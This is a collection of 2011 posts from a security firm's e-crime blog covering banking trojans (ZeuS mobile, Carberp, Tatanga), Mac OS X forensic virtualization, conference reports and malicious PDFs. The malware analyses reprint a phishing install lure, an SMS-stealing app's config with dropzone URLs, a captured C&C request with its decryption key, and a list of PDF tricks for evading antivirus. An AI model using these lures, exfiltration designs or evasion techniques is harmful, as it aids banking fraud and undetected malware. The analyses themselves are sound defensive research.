- Important! The telephone number tied to your account (updated for SMS and signatures) must be used on your Android mobile. It is necessary to insert your mobile phone card into the phone that uses Android.

- Telephones based on Android are sold by all mobile telephone sellers in your country. Any model will suffice.

If you have an Android phone or you have bought one already, we ask that you proceed to installing the application on your mobile phone.

We are concerned about your security.

Kind Regards.

Application setup

To set up the application and the security for Internet banking usage, you have to open the browser on your Android mobile phone.

To install the application you must connect to the Internet. If you do not know how to configure the Internet on your phone, please contact your cell phone operator.

1. In your browser’s address bar, enter the following reference to download the application www.##########dad.com/simseg.apk

2. After downloading the application, an arrow should appear pointing downwards in the upper left hand corner of the screen.

3. Open the Warnings after pulling the menu down and start up the application.

4. Once the application is running, press Install. That’s it! The application has been successfully installed on your mobile phone!

5. Now you still need to authorise the telephone in your bank’s security system.

Enter the number 325000 and press call. A 6 digit code should appear on the phone screen.

Type those digits into the field below and that ends the process of activating the application.

The generated code:

As you will appreciate, this time they persuade the victim to visit a link from their mobile phone, to request a 6 digit number provided by the malicious application, to simulate associating the phone to the bank account. In reality, it is a false number that appears hard coded in the source code.



if (!paramIntent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL"))
return;
if (!paramIntent.getStringExtra("android.intent.extra.PHONE_NUMBER").equals("325000"))
return;
Toast.makeText(paramContext, "251340", 0).show();

Subsequently, in communications with the dropzone, it sends the telephone’s MSISDN number. They do not associate the infection of the mobile device with the victim’s PC.

The main function of the malicious application resides in capturing the incoming and outgoing SMSs to then forward them to the attacker. The victim does not receive the SMS messages and they are forwarded directly to the fraudster. Given that there is no association with the previous infection of the PC and/or the victim’s account, it is assumed that previously obtained credentials (through the Trojan) are used to make a fraudulent transfer and receive the mobile token that is immediately forwarded to the victim’s device.

The permissions sought by the Manifest file at application installation time are as follows:

The application is installed as System and is not visible alongside other applications and, although visible in a list of them, would not be easily detected due to the choice of icon and cryptic name:

It has a configuration file called settings.xml as shown below:



<?xml version="1.0" encoding="UTF-8"?>
<settings>
<send value="1"/>
<telephone value="123"/>
<http>
<addr value="http://######af.com/sms/gate.php"/>
<addr value="http://######2.com/sms/gate.php"/>
<addr value="http://######fsaf.com/sms/gate.php"/>
<addr value="http://######fsaffa.com/sms/gate.php"/>
</http>
<tels>
</tels>
</settings>

send: this value indicates whether information will be transmitted via sending to a dropzone, sending an SMS or both (by default configured to send by HTTP GET)
telephone: The destination telephone number (by default fictitious)
http: Addresses where the results are sent.

In addition, for sending by HTTP, a string is prepared and sent to the dropzones in the following format:

dropzone/gate.php?sender=&receiver=&text=.



str1 = ((TelephonyManager)paramContext.getSystemService("phone")).getLine1Number();
str2 = arrayOfSmsMessage[0].getDisplayOriginatingAddress();
str3 = arrayOfSmsMessage[0].getMessageBody();
if (this.numbers.size() != 0)
continue;
performAction(str2, str1, str3);

Once sent, the application receives the responses from the server, but does not process them, so we do not believe that the dropzones communicate directly with the application.
Finally, the sending of the SMS from the victim’s phone would be done using the following format: sms_dir_origen : sms_body

S21sec has already taken the appropriate measures to close down the malicious site.

Ismael García & Santiago Vicente
S21sec e-crime

Decrypting Carberp C&C communication

2011-07-12T10:10:00.000-07:00

Carberp is a recently (2010) discovered banking Trojan. Although it is not as well known as the currently dominating banking Trojans, such as ZeuS or SpyEye, we can’t simply ignore it due to its powerful capabilities, which may lead it to greater success in the future. The main characteristics of Carberp are:

It comes with three plugins: MiniAV, StopAV and Passw. MiniAV is a generic mini-antivirus which was designed to kill specific trojans or other uncategorized possibly malicious applications that had been heuristically considered as malware. It includes a disinfection mechanism against ZeuS, Adrenalin, Limbo, Barracuda and BlackEnergy. That a malicious application would contain a built-in mini antivirus is not something new, we have seen it before with Tatanga as well. The plugin StopAV’s purpose is to take out (kill) various antivirus products, meanwhile the plugin Passw contains password stealing functionality for various applications (ftp, pop3, passwords from Window registry…).

It has a very sophisticated installation mechanism which includes remote code injection into the default webbrowser and svchost.exe, and contains a payload which tries to exploit a vulnerability in the operating system (MS08-025). This executes code in the kernel which restores various system hooks used by security applications, thereby concealing the Trojan.

Together with backdoor functionality and HTML injection it is able to perform Man-in-the-Browser type attacks against the victims.

Recent variants of Carberp encrypt communication with the C&C, which makes further observation and monitorization of the trojan a more complex task. A Wireshark extension, customized for this purpose, would come in very handy. You can download it from here together with an example .pcap file, source code also included (however it was probed with 32bit version of Wireshark only).

In the above example we can see the plugin in action as the Trojan received an "updateconfig" command from its C&C server. The installation of the plugin is simple; we just have to put it into the "plugins" directory inside Wireshark’s folder. To verify that the plugin is loaded correctly, we have to check that it appears in the list, in the menu Analyze/Enabled Protocols:

There is one more thing to look at that we have not mentioned yet, the algorithm that Carberp uses to encrypt its traffic:

POST /clssvoarsm.phtm HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: sandravsxpanel.cz.cc

Connection: Close

Content-Type: application/x-www-form-urlencoded

Content-Length: 691

cchq=KRQ55AVXERssj8SabRbGQFPODZUhZxjdZY9QgPAaGwhjb1%2FEqCdQneoEfXMET

LcYNneVMlpNcMSCwEFGLhSABClbFY8G5AZak5JOk4l8JY1UiZzgmSQWdJFmFYFw77u29

7TRAoJWs4k7zgCKRrwudgtxbdiP62OJOiKSyJ0OCd75ZmYKP4uLo1h3nPT%2BNLn2Zdr

amAU31TfsdLmbf4F%2F3lo%2FS3d00bdbzGZC4oYSIu8Ci9Qw6WCISy8LBBX1LFBS3Y7

S5A633XS5GVyylgvwDCPC%2Fsp47pBFRWa%2Bblnq4NkUnkkyszrnFxgxFfO76kVfzSz

FZAC8xcDnkrBMyr%2BRvINHn3PMdf4jGWImLFT%2BN8r8mDSAz%2FFkOJaxi7OlsiH30

6btuph1s0MG%2F1fLnxxBhsRcssrPVB4Q6VP%2BAOUaDLg26n5XhMbHskphPkhDTyIPZ

lc9LPsAfMG4dfd9PhOGzBJFH9kaAb2kC4WDtU%2BnZcuYoH2advviTm9wtcz4ZASW5kx

HPgkVw9uP73fnNEs1QHdGB57V9G57bd2qdmoZ%2BOojFrtOilpizUQ9cxBvl7nGj%2Bs

%2FuAPWVV%2FXOb1tyoMmtHmSY0BqoXzksdaK2%2FDU%2BGUfkDgV95MiLXd%2FG6hXe

5zXAEXH54ji

The first and last four bytes of the message (marked in red) are needed for initialize the decryption and they are randomly generated at each POST. The data between are base64 encoded + RC2 algorithm. Apart from the randomly generated "short" keys which are 8 bytes in total, there is a "long" key which consists of 16 bytes and is hardcoded inside the binary and we need to extract it. Fortunately it is not that hard to spot it:

By taking a memory dump of the malware, loading it into a disassembler we can spot the right function by looking for the hash value "618ADDBEh". It’s not clear the purpose of this hash, most probably this value belongs to a default decryption key. By the way, our "long" key is "rsg7?GhdHB16_Rbf" however we still have to apply a byte XOR with value 05 to get the final wvb2zBmaMG43ZWgc key.

Once we have got the key, we have to pass it to the plugin in order to get it work. Menu Edit/Preferences/Protocols and that’s all, ready to sniff an infected machine ;)

Jozsef Gegeny

S21sec e-crime

ToorCon Seattle 2011

2011-06-29T01:00:00.000-07:00

As I mentioned in the previous post, just after Source Seattle some days ago, the ToorCon (also in Seattle) began. Some speakers took advantage of this to present the same or different presentations at both conferences. Friday the 13th was the opening day, with a small party, but the presentations didn’t begin until the following day. There were thirty talks in total, each delivered in a 15 minute period of time, with a short break for lunch. It was an entire day of presentations, from 8:30 till 10:30, quite a day!

The subject of the talks was very varied, from hacktivism themes through to hard disk recuperation. During the morning we could attend, amongst others, presentations about the use of concurrence in Python for the creation of stronger security tools, an appeal for the real securing of communications, exploit kits, details of the fall of the Rustock botnet by Julia Wolf, how to physically recover a hard drive (a real surgical intervention of a hard disk) and it ended with some interesting thoughts about Bitcoin from Dan Kaminsky: if a normal user does not have the capacity to generate a large amount of bitcoins, because it depends on the capacity of the calculation, who will end up having them all?

The afternoon sessions were no less interesting. In my opinion, the highlights were the discovery of exploitable vulnerabilities in the kernel through emulation, a practical example of telephone social engineering, where you could hear how they obtained data from a real secretary, and one that dealt with the compromise of a domain through a PBX telephone system. Without a doubt, this last one brought more than one person to their feet and received the best applause of all, as its staring point was a telephone system and they managed to query sensitive data from the network systems.

Finally, the closing event took place at a club in the city where people could socialize in the best possible way ;) This wasn’t a conference where you could go and put up a company stand, but a place where you could meet unusual people with a wide knowledge of IT security and share a beer. There is a risk that by the last speech you wouldn’t be paying full attention to the platform, but nothing is perfect, is it? It is another type of conference, very different from Source, but equally recommendable. In summary, the best thing to do is to attend them both ;)

Jose Miguel Esparza
S21sec e-crime

Live Forensics Mac OS X (II)

2011-06-28T05:52:00.000-07:00

Continuing on from last week's post, we are going to look at what's needed to correctly virtualize a physical disk with a Mac OS X operating systems, this time using VMWare.

The following are needed:

Qemu
VMWare Player
Empire EFI (Latest version for Intel processors that includes the generic and Legacy versions)

We use VMWare Player since it is a free solution and given that, in this case, it has no EFI support, we will use the alternative Empire EFI boot system. Empire EFI is no more than an ISO that can serve as a boot disk for Mac OS X systems that make use of the Chameleon bootloader.

Firstly, the image of the physical disk obtained beforehand is converted to an image compatible with VMWare using Qemu in the following way:

 $sudo qemu-img convert –f raw imagen.dd –O vmdk imagen.vmdk

Then we need to generate a configuration (.vmx) file associated with the above file. To do that we create a text file with a .vmx extension and we add something like the following:

#!/usr/bin/vmware
.encoding = "UTF-8"
config.version = "8"
virtualHW.version = "7"
numvcpus = "4"
cpuid.coresPerSocket = "4"
scsi0.present = "TRUE"
scsi0.virtualDev = "lsilogic"
memsize = "2048"
ide0:0.present = "TRUE"
ide0:0.fileName = "imagen.vmdk"
ide1:0.present = "TRUE"
ide1:0.autodetect = "TRUE"
ide1:0.deviceType = "cdrom-image"
floppy0.startConnected = "FALSE"
floppy0.fileName = ""
floppy0.autodetect = "TRUE"
ethernet0.present = "TRUE"
ethernet0.connectionType = "nat"
ethernet0.virtualDev = "e1000"
ethernet0.wakeOnPcktRcv = "FALSE"
ethernet0.addressType = "generated"
usb.present = "TRUE"
ehci.present = "TRUE"
sound.present = "TRUE"
sound.fileName = "-1"
sound.autodetect = "TRUE"
pciBridge0.present = "TRUE"
pciBridge4.present = "TRUE"
pciBridge4.virtualDev = "pcieRootPort"
pciBridge4.functions = "8"
pciBridge5.present = "TRUE"
pciBridge5.virtualDev = "pcieRootPort"
pciBridge5.functions = "8"
pciBridge6.present = "TRUE"
pciBridge6.virtualDev = "pcieRootPort"
pciBridge6.functions = "8"
pciBridge7.present = "TRUE"
pciBridge7.virtualDev = "pcieRootPort"
pciBridge7.functions = "8"
vmci0.present = "TRUE"
roamingVM.exitBehavior = "go"
displayName = "Mac OS X"
guestOS = "darwin"
nvram = "imagen.nvram"
virtualHW.productCompatibility = "hosted"
extendedConfigFile = "imagen.vmxf"
ide1:0.fileName = "LegacyBootCD.iso"
ethernet0.generatedAddress = "00:0c:29:bc:86:69"
uuid.location = "56 4d c6 30 f2 64 ca 05-a7 fd bc ba bb bc 86 69"
uuid.bios = "56 4d c6 30 f2 64 ca 05-a7 fd bc ba bb bc 86 69"
cleanShutdown = "TRUE"
replay.supported = "FALSE"
replay.filename = ""
ide0:0.redo = ""
pciBridge0.pciSlotNumber = "17"
pciBridge4.pciSlotNumber = "21"
pciBridge5.pciSlotNumber = "22"
pciBridge6.pciSlotNumber = "23"
pciBridge7.pciSlotNumber = "24"
scsi0.pciSlotNumber = "16"
usb.pciSlotNumber = "32"
ethernet0.pciSlotNumber = "33"
sound.pciSlotNumber = "34"
ehci.pciSlotNumber = "35"
vmci0.pciSlotNumber = "36"
vmotion.checkpointFBSize = "16973824"
ethernet0.generatedAddressOffset = "0"
vmci0.id = "771566075"
tools.syncTime = "FALSE"
isolation.tools.hgfs.disable = "TRUE"
sharedFolder.maxNum = "1"
usb:0.present = "TRUE"
usb:1.present = "TRUE"
usb:1.deviceType = "hub"
usb:0.deviceType = "mouse"
checkpoint.vmState = ""
sharedFolder0.present = "FALSE""

Where...

ide0:0.fileName = The name of our VMWare image.
displayName = The name given to the virtual machine.
extendedConfigFile = The name that you want to give to the extended configuration file (Auto-generated).
nvram = The name that you want to give to the Virtual Machine's memory file. (Auto-generated).
ide1:0.fileName = The name of the .iso file of the loader of Empire EFI boot, downloaded beforehand.

It’s worth mentioning, that all the previous files need to be in the same directory.

Once this point is reached, start up the VMWare Player and open the previously created .vmx file. As the machine starts up, press the ESC key to select the boot unit and choose CD-ROM (If we press F2 we will enter the BIOS setup and could select this option permanently).

Finally, once the bootloader menu is loaded, select the "mac" option and now we can proceed with the online analysis of the system.

As a final note, our tests have been made with a Mac OS X 10.6.4 system image and it was necessary to use the Legacy version of Empire EFI for VMWare Player.

Live Forensics Mac OS X (I)

Live Forensics Mac OS X (II)

Santiago Vicente
S21sec e-crime

Source Seattle 2011

2011-06-27T08:36:00.000-07:00

Some days ago, Source Seattle (USA) took place. It is the first time it has taken place in Seattle and although the attendance couldn’t match the Boston conference, the atmosphere was magnificent. It began on Tuesday the 14th with an event for the speakers and organizers to get to know each other and enjoy a beer with some tasty Asian cuisine. I was the representative of the S21sec e-crime team with a speech about banking Trojans.

The talks began on Wednesday the 15th and the agenda was divided into two tracks, one dedicated to technical themes and the other centred on the business world. The first day, the following themes (amongst others) were touched on: evaluation of necessary expenses in security, the application of the law in cybercrime matters, threat modelling, forensic memory analysis of Android’s Dalvik Virtual Machine and our speech about the evolution of fraud through banking Trojans.

The objective of the speech was to analyse the changes that including banking Trojans has brought, how their injections have adapted and how they have arrived at a point where the binary family is no longer important and what is really striking, in the success of a malware campaign, is how the cybercriminals are using the binaries. The speech covered one of the latest banking Trojans, Tatanga, and a demo was made showing the different stages of ZeuS Man in the mobile (MitMo). You can download the presentation from this link.

The next day the sessions began early. The first session began during breakfast, at 8am. It was given by the guys from Trustwave. They explained how they had successfully managed the DEFCON network during recent years: Building the DEFCON network, making a sandbox for 10,000 hackers.

There were 12 further presentations, each one interesting. For example, the one given by Jarret Brachman about extremism on the Internet, discussed how the use of point scoring and reputation systems (gamifying) made for more energetic participation in movements.

After this, came others that dealt with post-exploitation in MS-SQL environments, the analysis of malicious code through SIEM systems and the reverse engineering of iPhone applications.

There were four further speeches and from the technical side we could highlight: the security in Mac OS X Enterprise systems and the weakness of some of the protocols and finding devices on the network through HTTP requests. In parallel, in the business track, the themes of PCI Compliance in the Cloud and hiring of security personnel were touched upon.

The conference ended with an event where all attendees and other professionals from the city could get to know each other and debate a wide range of topics. Also, the ToorCon took place this same weekend. So, we could meet some of the attendees and speakers around there, for example, Dan Kaminsky.

In summary, another conference to bear in mind and one that will surely improve in years to come, as the number of security professionals in Seattle is enormous. There are businesses such as Microsoft, Facebook and Google settled nearby. Without a doubt, I would recommend you attend this conference in the future, if you have the chance. The way we were treated and the organization were impecable!

Jose Miguel Esparza
S21sec e-crime

Live Forensics Mac OS X (I)

2011-06-24T11:16:00.000-07:00

When dealing with expert or forensic reports, the reports must be objective, testable and reproducible. This last requirement, although desirable, is not always possible, for example, in the case of medical forensics or in the IT world, when a first acquisition of volatile data is made. But, this needn’t be an issue if the process followed is correctly documented.

Even so, a forensic analyst will not always be able to make an "online" analysis before creating the binary image, maybe because the system is switched off, destroyed or simply because the case load does not allow for it at that particular moment. For this reason, once the corresponding copies have been taken, it is possible to start the system up in a virtual environment. Although not exactly reproducing the conditions before the acquisition, this could serve as an aid and complement “offline” analysis. It also could be reproducible afterwards.

This method is typically used for analysis of Windows and *nix systems, but is perhaps less widely used in the case of Apple desktop operating systems. For that reason, we will show the necessary steps to create and start up a Virtual machine, from a physical disk image of the system under analysis. We will firstly look at VirtualBox and continue in a second post with VMWare.

The whole process has been made on a Linux Ubuntu 10.04 distribution, but could be made from Windows in the same way or even on Mac OS X. In this case we would need the following:

Qemu
VirtualBox 3.2.6 or later.
A processor with virtualization technology

The first step is to convert the RAW image that was obtained from the physical machine beforehand, to a virtual disk compatible with VirtualBox. For that Qemu can be used in the following way:

 $sudo qemu-img convert –f raw imagen.dd –O vdi imagen.vdi

This could also be done via VirtualBox itself:

 $VBoxManage convertfromraw <filename> <outputfile>

Depending on the size of the disk, this could take from some minutes, up to various hours.

Next a new virtual machine is created and configured. This can be done from the command line in the following way:

 $VBoxManage createvm --name MacOSX --ostype MacOS_64 --register --basefolder /VirtualMachines
 $VBoxManage modifyvm MacOSX --memory 1024
 $VBoxManage modifyvm MacOSX --accelerate3d on --vram 32
 $VBoxManage storagectl MacOSX --add sata --controller IntelAHCI --name SATAController
 $VBoxManage storagectl MacOSX --add ide --controller PIIX4 --name IDEController
 $VBoxManage storagectl MacOSX  --name SATAController --hostiocache on
 $VBoxManage storagectl MacOSX --name IDEController --hostiocache on
 $VBoxManage modifyvm MacOSX --usb on --keyboard usb --mouse usb
 $VBoxManage storageattach MacOSX --storagectl SATAController --type hdd --port 0 --device 0 --medium /VirtualMachines/HDDs/imagen.vdi
 $VBoxManage modifyvm MacOSX --firmware efi64
 $VBoxManage setextradata MacOSX VBoxInternal2/EfiGopMode 4
 $VBoxManage setextradata MacOSX VBoxInternal2/SmcDeviceKey "ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc"

…and the machine is started up as follows:

 $VBoxManage startvm MacOSX

(*)Where MacOSX is the name given to the virtual machine and /VirtualMachines is the directory where it will be stored.

Of course, it is also possible to create a virtual machine in VirtualBox through the graphical interface assistant, selecting Mac OS X Server as the operating system and afterwards modifying the configuration in the following way:

System/Motherboard: Uncheck "Floppy Disk"
System/Acceleration: Disable "Nested Paging"
Display/Video: Set to more than 32 MB of memory and select “Enable 3D acceleration”
Storage/IDE Controller & SATA Controller: Select “Use host I/O cache”
USB: Enable the USB controller

After this setup, completely close the interface and any other related process and open the configuration file .vbox (before .xml) in /VirtualMachines/MacOSX with a text editor and add the following in the <ExtraData> section:

 <ExtraDataItem name="VBoxInternal2/EfiGopMode" value="4"/> 
 <ExtraDataItem name="VBoxInternal2/SmcDeviceKey" value="ourhardworkbythesewordsguardedpleasedontsteal(c)AppleComputerInc"/>

Finally, start the machine to be able to proceed with the “online” analysis and obtain data such as active processes, capture network traffic, etc..

Live Forensics Mac OS X (I)

Live Forensics Mac OS X (II)

Santiago Vicente
S21sec e-crime

Evolution, ramification and reflections on Zeus.

2011-06-22T02:58:00.000-07:00

After some years as the prevailing king of the banking Trojans, in recent months there has been lots of talk about the possibility of radical changes in ZeuS itself, and in this post I am going to try to give my opinion about the most important aspects of the subject.

A possible merger with SpyEye?

Firstly, there was talk of the possible release of the ZeuS source code to the creators of SpyEye, leading to talk of the disappearance of ZeuS and the evolution of SpyEye in its place. While it is true that SpyEye has evolved and certain characteristics pertaining to ZeuS have been seen in SpyEye versions (indeed, some servers seem to have 2 front ends for the same database), the reality is that both Trojans are still being used separately and that each one has evolved.

As may be expected, improvements will be implemented that are both easily achievable and the creator feels add value to the piece of malware. Now that the ZeuS source code has been made public, it is likely that we will see parts of ZeuS used in other malware samples, but ZeuS will remain as active as ever.

Ramifications of the publication of the source code?

As everyone knows, version 2.0.8.9 source code was made public, which led to fears of a proliferation of modified versions. It is a reasonable fear, but given that the underground world is so specialized, it is probable that the biggest users of ZeuS kits do not have the necessary technical knowledge to personalize the botnet as they would like.

There is no doubt that people with the capability for the task exist, but it is not straightforward and whoever does it should profit from its sale. There are few groups that have a solid knowledge base and the necessary resources of time and effort needed to take this step. For these reasons, I do not believe that by the end of the year there will be 100 new variants of ZeuS, although it would not surprise me to find 2 or 3, possibly more given that we have already seen some new versions recently.

ZeuS v2.1 and the challenges it poses.

As has been discussed in depth, versions 2.1 of Zeus (known as Licat and Murofet), contain characteristics that vary substantially from the usual ZeuS:

The generation of domain names based on the date (in case the configured, default domain name does not work).
Changes in the configuration file:
1. Identification codes of new sections can be found.
2. The URL for the binary update, configuration and C&C are not hardcoded, as they are generated with the algorithm mentioned above.
3. Some sections of the configuration file have extra encryption besides the XOR and RC4 layers usually found in the Zeus 2.0.x family.

Besides these versions, we have observed versions 2.1.x that do not share these characteristics and apparently belong to the natural evolution of ZeuS.

In the modified version, due to the use of a domain name algorithm, I dare say that it belongs to a personalized version of ZeuS, modified by a specific group and not an evolution of the, shall we say, core version.

Adding a date based domain name generation means centralizing the control panel and therefore selling it as a malware kit no longer makes sense. Of course, this could be removed from the generation of domain names, as besides the date, it can use a key to personalize the algorithm, but it seems that is not the case.

Without making a complete analysis of domain name generation, I would say that the campaign of personalizing versions belongs to the owners of the same campaigns from the end of last year (when, in fact, the ZeuS code was still not public). I base this on 3 details:

The same modus operandi, with a hardcoded domain name and the generation of domain names based on the current date, in case the initial domain does not respond.
A limitation to, supposedly, 1020 values based on the current minute.
Checks to see if the year is less than 2010 (and not 2011)

Mikel Gastesi

S21sec e-crime

Obfuscation and (non-)detection of malicious PDF files

2011-05-16T01:12:00.000-07:00

More than two months ago I talked at Rooted CON (Madrid) about some techniques to obfuscate and hide malicious PDF files. I gave the same speech at CARO 2011 (Prague) last Friday with updated slides and a demo of peepdf.

The idea is that it's possible to use some malformations in the documents, like those commented by Julia Wolf, and the PDF specification itself in order to keep the files hidden from Antivirus engines and parsers. Bad guys can effectively use it to create an undetectable exploit and use it as an attacking vector. Some of the techniques are the following:

Using the /Names and /AcroForm elements of the Catalog object to execute code when the document is opened, instead of the /OpenAction element.

If the malicious content is stored in a string object it's possible to hide it thanks to the octal codification.

However, if the content is stored in a stream object some unknown filters can be applied, like /JBIG2Decode or /DCTDecode, avoiding the most used, like /FlateDecode and /ASCIIHexDecode. Avast researchers found recently that this is something that cyberdelinquents are already using in the wild.

In the case of /FlateDecode and /LZWDecode filters it's possible to define some parameters in order to make the analysis more difficult.

Split up the malicious code in several parts and store them in different locations of the document. In the case of Javascript code it's possible to store them in the /Names element of the Catalog. Also some specific functions can be used to retrieve some elements of the document, like getAnnots, getPageNthWord, etc.

Avoid the endobj tag at the final of the objects to cheat the parsers.

Put null bytes in the header of the document.

Compressing the malicious objects in the so-called object streams to add an additional obfuscation level.

Encrypt the document with the “default password”.

Embed the malicious file in a legit one. It's possible to open the malicious file automatically when the legit document is opened.

In the demo I performed last Friday I modified a detected malicious PDF file (34/43) to decrease its detection rate, being detected only by one Antivirus engine after the modifications. The results of the tests performed in February were even worse, being totally undetectable. Although bad guys are not using all these techniques yet, they will do, therefore it's important to take them into account in the development process of analysis tools and Antivirus products.

The tool I've developed for the analysis of malicious PDF files, peepdf, was released last Friday too, and it supports most of the commented techniques, so it's a good option when a PDF file must be analysed. It's the first version of the tool, so all comments and potential bugs are welcomed! ;)

Jose Miguel Esparza
S21sec e-crime
(Blog / Twitter)

Tatanga: a new banking trojan with MitB functions

2011-02-25T04:57:00.000-08:00

Recently our e-crime unit has detected a new banking trojan, named as Tatanga, with Man in the Browser (MitB) functions affecting banks in Spain, United Kingdom, Germany and Portugal. Like SpyEye, it can perform automatic transactions, retrieving the mules from a server and spoofing the real balance and banking operations of the users. Its detection rate is very low, and the few antivirus engines that can detect it yield a generic result.

The trojan in question is rather sophisticated. It is written in C++ and uses rootkit techniques to conceal its presence, though on occasion, its files are visible. The trojan downloads a number of encrypted modules (DLLs), which are decrypted in memory when injected to the browser or other processes to avoid detection by antivirus software. The modules are the following:

ModEmailGrabber: It gathers e-mail addresses.
Coredb: It manages the trojan's configuration. The corresponding file is encrypted with the algorithm 3DES.
Comm Support Library: This module implements the encryption of the communication between the trojan and the control panel.
File Patcher: The function of this module is not clear yet. It is suspected that it is in charge of the propagation across folders containing multimedia, zipped or executable files.
ModMalwareRemover: Used in the removal of other malware families, including Zeus.
ModBlockAVTraffic: It blocks the antivirus application installed in the system.
ModDynamicInjection: Related to HTML injections

The modules names ModEmailGrabber and ModMalwareRemover might have been used in a bot in 2008, so maybe this is the result of the evolution of that malware.

Like other trojans of this kind, it uses an encrypted configuration file. This file is in XML format and has a element for each affected country. The code for each country is encoded and has the following format:

^^monitorized_url1~~monitorized_url2||code_replaced_in_legit_webpage||code_to_replace_for

Depending on the targeted bank, the trojan can passively grab the credentials or ask for more in order to make the fraudulent transaction in the user session. In some cases the requested credentials include the OTP mobile key and they success thanks to a good social engineering in their injections:

Seven compromised web sites are hardcoded and act as proxys to the real control panel. Their functions range from data sending to notifying infections and obtaining money mules' accounts. The format of the URLs are the following:

http://hacked_site.com/com/m.php?f=module.dll
http://hacked_site.com/com/c.php
http://hacked_site.com/com/d.php
http://control_panel/srvpnl/upload/module.dll

This malware affects nine browsers, covering almost all Windows users:

Internet Explorer
Mozilla Firefox
Google Chrome
Opera
Minefield
Maxthon
Netscape
Safari
Konqueror

Some additional functionalities of the trojan:

64-bit support: it injects into explore.exe in 32-bit systems and it's executed as a normal process in 64-bit systems.
Anti-VM and anti-debugging techniques
Dump online banking pages and send them to the server, probably in order to improve the injected code
Weak encryption algorithm in the communication with the C&C based on XOR operations.
Commands accepted from the C&C: modinfo, softstat, cmd, stopos, startos, reboot, winkill, die, instsoft, proclist, clearcookies, setlevel, kill
Functions to prevent Trusteer Rapport from being downloaded

We have seen lots of comments and test functions, so maybe this is just a test to improve its functions before spreading it. Stay tuned!

Jozsef Gegeny & Jose Miguel Esparza
S21sec e-crime

S21sec in RSA

2011-02-14T08:50:00.000-08:00

RSA Conference has begun today and S21sec will be there to tell you the latest news in information security.

See you in San Francisco!

S21sec Marketing

PDF Security links, 2010: Analysis and Tools

2011-02-02T08:42:00.000-08:00

After a year of incidents related to the Portable Document Format (PDF) it is good to look back and remember some of the most important ones. Listed below are some links to malicious and / or obfuscated PDF document analysis, and some tools that have made their appearance in 2010. I hope you enjoy them!

Analysis

2010-01-04: Sophisticated, targeted malicious PDF documents exploiting CVE-2009-4324 (embedded binaries)

2010-01-07: Static analysis of malicous PDFs (Part #2) (getAnnots, arguments.callee)

2010-01-09: PDF Obfuscation (variables substitution, LuckySploit, CVE 2008-2992)

2010-01-13: Generic PDF exploit hider. embedPDF.py and goodbye AV detection

2010-01-14: PDF Obfuscation using getAnnots() (getAnnots, arguments.callee, Neosploit)

2010-02-15: Filling Adobe's heap (Javascript, ActionScript and PDF images)

2010-02-18: Malicious PDF trick: getPageNthWord

2010-02-21: Analyzing PDF exploits with Pyew

2010-03-01: Analyzing PDF Files (getPageNthWord, getPageNumWords)

2010-04-08: JavaScript obfuscation in PDF: Sky is the limit (getAnnots,arguments.callee)

2010-04-09: Malicious PDF file analysis: zynamics style (PDF Dissector video)

2010-04-22: Will there be new viruses exploiting /Launch vulnerability in PDF?

2010-05-18: Quickpost: More Malformed PDFs

2010-06-08: Analysis of a Zero-day Exploit for Adobe Flash and Reader (CVE-2010-1297)

2010-06-09: A brief analysis of a malicious PDF file which exploits this week’s Flash 0-day (malware, ROP)

2010-06-21: World's Smallest PDF

2010-07-02: Exploring recent PDF exploits: A Time Killer (getPageNthWord,CVE-2008-2992,CVE-2007-5659,CVE-2009-0927,CVE-2009-4324)

2010-07-13: ReCon slides – How to really obfuscate your PDF malware

2010-07-20: PDF time bomb (CVE-2008-2992,CVE-2007-5659,CVE-2009-0927)

2010-08-04: PDF Exploit: Number of pages is the Key (XOR, numPages,CVE-2007-5659,CVE-2009-0927,CVE-2009-4324)

2010-08-04: About the JailbreakMe PDF exploit

2010-08-12: More about the JailbreakMe PDF exploit (CVE-2010-1797)

2010-08-19: Anatomy of a PDF Exploit (AcroForm, TIFF, CVE-2010-0188)

2010-08-20: Analyzing CVE-2010-0188 exploits: The Legend of Pat Casey (Part 1)

2010-08-23: CVE-2010-1797 PDF exploit for Foxit Reader <= 4.0

2010-09-01: An approach to PDF shielding (encryption, object streams, nested PDF documents)

2010-09-13: Malicious PDF Challenges (getPageNumWords, getPageNthWord)

2010-09-17: The Rise of PDF Malware (whitepaper)

2010-09-26: Free Malicious PDF Analysis E-book

2010-10-02: Hiding PDF Exploits by embedding PDF files in streams and Flash ROP heapsprays (CVE-2010-2883)

2010-10-27: OMG WTF PDF - Julia Wolf (obfuscation, slides)

2010-10-28: CVE-2010-3654 Adobe Flash player zero day vulnerability

2010-10-28: New Adobe 0day (bug in flash player),CVE-2010-3654

2010-11-11: CVE-2010-4091 – printSeps - exploitation attempts

2010-12-03: CVE-2010-2883 with Flash JIT Spray (PDF in PDF) Event Invitation from The Heritage Foundation from spoofed Heritage address

2010-12-08: Scoring PDFs Based on Malicious Filter

2010-12-08: Released Malware Statistics and Scoring Tests

2010: Gran cantidad de análisis del blog Contagiodump

Tools

2010-05-31: PDF Dissector

2010-07-21: PDF Stream Dumper

2010-08-23: Opaf

2010-08-31: PDF Examiner (web interface)

Jose Miguel Esparza
S21sec e-crime